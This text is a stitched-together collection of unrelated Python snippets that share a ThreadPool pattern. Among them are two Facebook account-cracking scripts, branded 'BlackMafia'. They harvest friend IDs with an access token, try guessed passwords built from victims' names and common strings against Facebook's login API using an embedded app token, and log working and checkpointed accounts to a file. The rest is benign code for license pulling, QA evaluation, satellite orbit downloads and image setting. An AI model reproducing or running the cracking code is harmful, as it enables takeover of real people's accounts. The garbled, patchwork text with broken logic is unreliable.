ps6=(j['first_name']+'khan') dt=urllib.urlopen('https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email='+(user)+'&locale=en_US&password='******'&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6') k=json.load(dt) if 'www.facebook.com' in k['error_msg']: print(S+'[CP] ♡ '+user+' ♡ '+ps6) cps.append(user+ps6) else: if 'access_token' in k: print(G+'[OK] ♡ '+user+' ♡ '+ps6) oks.append(user+ps6) except: pass p=ThreadPool(30) p.map(main, id) print print(S+50*'-') print print(S+'Process has been completed CP ID Open After 7 Days ') print(Y+'Total '+G+'OK'+S+'/'+P+'CP'+S+' = '+G+str(len(oks))+S+'/'+R+str(len(cps))) print(S+'BlackMafia') print raw_input(R + 'Back') os.system('python2 AH.py')
with open(dep_url_yaml) as file: dep_config = yaml.full_load(file) maven_url_temp = 'https://repo1.maven.org/maven2/{module}/{version}' csv_list = [] no_licenses = [] no_license_type = [] incorrect_source_url = [] logging.info( 'Pulling license for {num_deps} dependencies using {num_threads} threads.' .format(num_deps=len(dependencies['dependencies']), num_threads=THREADS)) thread_lock = threading.Lock() pool = ThreadPool(THREADS) pool.map(execute, dependencies['dependencies']) write_to_csv(csv_list) error_msg = [] run_status = 'succeed' if no_licenses: logging.error(no_licenses) how_to = '**************************************** ' \ 'Licenses were not able to be pulled ' \ 'automatically for some dependencies. Please search source ' \ 'code of the dependencies on the internet and add "license" ' \ 'and "notice" (if available) field to {yaml_file} for each ' \ 'missing license. Dependency List: [{dep_list}]'.format( dep_list=','.join(sorted(no_licenses)), yaml_file=dep_url_yaml)
def datasets_evaluate(dataset_file): threading=True k=1 kMax=10 p_entity=0 p_relation=0 global correctRelations correctRelations=0 global wrongRelations wrongRelations=0 global correctEntities correctEntities=0 global wrongEntities wrongEntities=0 count=1 startQ=0 endQ=5000 errors=0 results=[] p_e=0 p_r=0 #questions=read_dataset('datasets/simplequestions.txt') filepath = 'datasets/'+dataset_file questions=read_dataset(filepath) if threading: pool = ThreadPool(12) pool.map(evaluate, questions[:50]) pool.close() pool.join() else: for question in questions: try: single_result=evaluate(question) print(count) count=count+1 print( "#####" + str((correctRelations * 100) / (correctRelations + wrongRelations))) print("#####" + str((correctEntities * 100) / (correctEntities + wrongEntities))) results.append(single_result) except: errors+=1 print(errors) continue with open('results_simple_entities_FALCON.csv', mode='w', newline='', encoding='utf-8') as results_file: writer = csv.writer(results_file, delimiter=',', quotechar='"', quoting=csv.QUOTE_MINIMAL) writer.writerows(results) print("Correct Relations:",correctRelations) print("Relations:") print((correctRelations*100)/(correctRelations+wrongRelations)) print("Correct Entities:",correctEntities) print("Entities:") print((correctEntities*100)/(correctEntities+wrongEntities)) print(correctEntities+wrongEntities) ''''print("p_entity:")
def pilih_super(): peak = raw_input("\n\033[1;31;40m➣➣ \033[1;97m") if peak =="": print "\033[1;39mFill in correctly" pilih_super() elif peak =="1": os.system('clear') print logo jalan('\033[0;39m[•] Getting IDs \033[0;39m...') r = requests.get("https://graph.facebook.com/me/friends?access_token="+toket) z = json.loads(r.text) for s in z['data']: id.append(s['id']) elif peak =="2": os.system('clear') print logo idt = raw_input("\033[0;39m* Enter ID : ") try: jok = requests.get("https://graph.facebook.com/"+idt+"?access_token="+toket) op = json.loads(jok.text) print"\033[0;31;39m[•] Name : "+op["name"] except KeyError: print"\033[0;39m[•] ID Not Found!" raw_input("\n\033[0;39m[\033[0;39mBack\033[0;39m]") super() print"\033[0;39;40m[•] Getting IDs..." r = requests.get("https://graph.facebook.com/"+idt+"/friends?access_token="+toket) z = json.loads(r.text) for i in z['data']: id.append(i['id']) elif peak =="3": os.system('clear') print logo brute() elif peak =="4": os.system('clear') print logo try: idlist = raw_input('\033[0;39m[+] \033[0;39mEnter the file name \033[0;39m: \033[0;39m') for line in open(idlist,'r').readlines(): id.append(line.strip()) except IOError: print '\x1b[0;35;39[!] \x1b[0;35;39File not found' raw_input('\n\x1b[0;35;39[ \x1b[0;35;39Exit \x1b[0;35;39]') super() elif peak =="0": menu() else: print "\033[0;39mFill in correctly" pilih_super() print "\033[0;39;40m[•] Total IDs : \033[0;97m"+str(len(id)) jalan('\033[0;39;40m[•] Please Wait...') titik = ['. ','.. ','... '] for o in titik: print("\r\033[0;39;40m[•] Cloning\033[0;97m"+o),;sys.stdout.flush();time.sleep(1) print "\n\033[0;39m ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~" print "\033[0;39m Wait Cracking Is Pending" print "\033[0;39m ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~" def main(arg): global cekpoint,oks user = arg try: os.mkdir('out') except OSError: pass try: a = requests.get('https://graph.facebook.com/'+user+'/?access_token='+toket) b = json.loads(a.text) pass1 = b['first_name'] + b['last_name'] data = urllib.urlopen("https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email="+(user)+"&locale=en_US&password="******"&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6") q = json.load(data) if 'access_token' in q: print '\033[0;92m[OK] \033[0;39m ' + user + ' \033[0;39m | \033[0;39m ' + pass1 + '\033[0;39m | \033[0;39m' + b['name'] oks.append(user+pass1) else: if 'www.facebook.com' in q["error_msg"]: print '\x1b[0;36;39[CP] \033[0;39m ' + user + ' \x1b[0;36;39|\033[0;39m ' + pass1 + '\033[0;39m | \033[0;39m' + b['name'] cek = open("out/CP.txt", "a") cek.write(user+"|"+pass1+"\n") cek.close() cekpoint.append(user+pass1) else: pass2 = b['first_name'] + '123' data = urllib.urlopen("https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email="+(user)+"&locale=en_US&password="******"&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6") q = json.load(data) if 'access_token' in q: print '\033[0;91m[OK] \033[0;39m ' + user + ' \033[0;39m | \033[0;39m ' + pass2 + '\033[0;39m | \033[0;39m' + b['name'] oks.append(user+pass2) else: if 'www.facebook.com' in q["error_msg"]: print '\x1b[0;36;39[CP] \033[0;39m ' + user + ' \x1b[0;36;39|\033[0;39m ' + pass2 + '\033[0;39m | \033[0;39m' + b['name'] cek = open("out/CP.txt", "a") cek.write(user+"|"+pass2+"\n") cek.close() cekpoint.append(user+pass2) else: pass3 = b['first_name'] + '12345' data = urllib.urlopen("https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email="+(user)+"&locale=en_US&password="******"&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6") q = json.load(data) if 'access_token' in q: print '\033[0;92m[OK] \033[0;39m ' + user + ' \033[0;39m | \033[0;39m ' + pass3 + '\033[0;39m | \033[0;39m' + b['name'] oks.append(user+pass3) else: if 'www.facebook.com' in q["error_msg"]: print '\x1b[0;91;39[CP] \033[0;39m ' + user + ' \x1b[0;36;39|\033[0;39m ' + pass3 + '\033[0;39m | \033[0;39m' + b['name'] cek = open("out/CP.txt", "a") cek.write(user+"|"+pass3+"\n") cek.close() cekpoint.append(user+pass4) else: pass4 = b['first_name'] + '1234' data = urllib.urlopen("https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email="+(user)+"&locale=en_US&password="******"&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6") q = json.load(data) if 'access_token' in q: print '\033[0;92m[OK] \033[0;39m ' + user + ' \033[0;39m | \033[0;39m ' + pass4 + '\033[0;39m | \033[0;39m' + b['name'] oks.append(user+pass4) else: if 'www.facebook.com' in q["error_msg"]: print '\x1b[0;91;39[CP] \033[0;39m ' + user + ' \x1b[0;36;39|\033[0;39m ' + pass4 + '\033[0;39m | \033[0;39m' + b['name'] cek = open("out/CP.txt", "a") cek.write(user+"|"+pass4+"\n") cek.close() cekpoint.append(user+pass4) else: pass5 = '786786' data = urllib.urlopen("https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email="+(user)+"&locale=en_US&password="******"&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6") q = json.load(data) if 'access_token' in q: print '\033[0;92m[OK] \033[0;39m ' + user + ' \x1b[0;36;39|\033[0;39m ' + pass5 + '\033[0;39m | \033[0;39m' + b['name'] oks.append(user+pass5) else: if 'www.facebook.com' in q["error_msg"]: print '\x1b[0;91;39[CP] \033[0;39m ' + user + ' \x1b[0;36;39|\033[0;39m ' + pass5 + '\033[0;39m | \033[0;39m' + b['name'] cek = open("out/CP.txt", "a") cek.write(user+"|"+pass5+"\n") cek.close() cekpoint.append(user+pass5) else: pass6 = b['last_name'] + '123' data = urllib.urlopen("https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email="+(user)+"&locale=en_US&password="******"&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6") q = json.load(data) if 'access_token' in q: print '\033[0;92m[OK] \033[0;39m ' + user + ' \x1b[0;36;39|\033[0;39m ' + pass6 + '\033[0;39m | \033[0;39m' + b['name'] oks.append(user+pass6) else: if 'www.facebook.com' in q["error_msg"]: print '\x1b[0;91;39[CP] \033[0;39m ' + user + ' \x1b[0;36;39|\033[0;39m ' + pass6 + '\033[0;39m | \033[0;39m' + b['name'] cek = open("out/CP.txt", "a") cek.write(user+"|"+pass6+"\n") cek.close() cekpoint.append(user+pass6) else: pass7 = 'pakistan' data = urllib.urlopen("https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email="+(user)+"&locale=en_US&password="******"&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6") q = json.load(data) if 'access_token' in q: print '\033[0;92m[OK] \033[0;39m ' + user + ' \x1b[0;36;39|\033[0;39m ' + pass7 + '\033[0;39m | \033[0;39m' + b['name'] oks.append(user+pass7) else: if 'www.facebook.com' in q["error_msg"]: print '\x1b[0;91;39[CP] \033[0;39m ' + user + ' \x1b[0;36;39|\033[0;39m ' + pass7 + '\033[0;39m | \033[0;39m' + b['name'] cek = open("out/CP.txt", "a") cek.write(user+"|"+pass7+"\n") cek.close() cekpoint.append(user+pass7) else: pass8 = b['last_name'] + '786' data = urllib.urlopen("https://b-api.facebook.com/methode/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email="+(user)+"&locale=en_US&password="******"&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f522ef6") q = json.load(data) if 'access_token' in q: print '\033[0;92m[OK] \033[0;39m '+ user + ' \x1b[0;36;39|\033[0;39m ' + pass8 + '\033[0;39m | \033[0;39m' + b['name'] oks.append(user+pass8) else: if 'www.facebook.com' in q["error_msg"]: print '\x1b[0;91;39[CP] \033[0;39m ' + user + '\x1b[0;36;39|\033[0;39m ' + pass8 + '\033[0;39m | \033[0;39m' + b['name'] cek = open("out/CP.txt", "a") cek.close() cekpoint.append(user+pass8) except: pass p = ThreadPool(30) p.map(main, id) print '\033[0;39;40m[•] Process Has Been Completed\033[0;39m....' print "\033[0;39;40m[+] Total OK/\033[0;97mCP \033[0;39m: \033[0;39m"+str(len(oks))+"\033[0;39;40m/\033[0;39;40m"+str(len(cekpoint)) print '\033[0;39;40m[+] CP File Has Been Saved : save/cp.txt' print """ \033[0;30;39─────────────────────────────────────────── """ raw_input("\n\033[0;39m[\033[0;39mExit\033[0;39m]") os.system('python2 a')
def download_eofs(orbit_dts=None, missions=None, sentinel_file=None, save_dir=".", orbit_type="precise"): """Downloads and saves EOF files for specific dates Args: orbit_dts (list[str] or list[datetime.datetime]): datetime for orbit coverage missions (list[str]): optional, to specify S1A or S1B No input downloads both, must be same len as orbit_dts sentinel_file (str): path to Sentinel-1 filename to download one .EOF for save_dir (str): directory to save the EOF files into orbit_type (str): precise or restituted Returns: list[str]: all filenames of saved orbit files Raises: ValueError - for missions argument not being one of 'S1A', 'S1B', having different lengths, or `sentinel_file` being invalid """ # TODO: condense list of same dates, different hours? if missions and all(m not in ("S1A", "S1B") for m in missions): raise ValueError('missions argument must be "S1A" or "S1B"') if sentinel_file: sent = Sentinel(sentinel_file) orbit_dts, missions = [sent.start_time], [sent.mission] if missions and len(missions) != len(orbit_dts): raise ValueError("missions arg must be same length as orbit_dts") if not missions: missions = itertools.repeat(None) # First make sures all are datetimes if given string orbit_dts = [parse(dt) if isinstance(dt, str) else dt for dt in orbit_dts] filenames = [] scihub_successful = False client = ScihubGnssClient() # First, check that Scihub isn't having issues if client.server_is_up(): # try to search on scihub if sentinel_file: query = client.query_orbit_for_product(sentinel_file, orbit_type=orbit_type) else: query = client.query_orbit_by_dt(orbit_dts, missions, orbit_type=orbit_type) if query: result = client.download_all(query, directory_path=save_dir) filenames.extend(item['path'] for item in result.downloaded.values()) scihub_successful = True # For failures from scihub, try ASF if not scihub_successful: logger.warning("Scihub failed, trying ASF") asfclient = ASFClient() urls = asfclient.get_download_urls(orbit_dts, missions, orbit_type=orbit_type) # Download and save all links in parallel pool = ThreadPool(processes=MAX_WORKERS) result_url_dict = { pool.apply_async(_download_and_write, (url, )): url for url in urls } for result, url in result_url_dict.items(): cur_filenames = result.get() if cur_filenames is None: logger.error("Failed to download orbit for %s", url) else: logger.info("Finished %s, saved to %s", url, cur_filenames) filenames.append(cur_filenames) return filenames
def set_multiple_image(list_tuples): pool = ThreadPool(4) for x in list_tuples: pool.apply_async(set_image, x)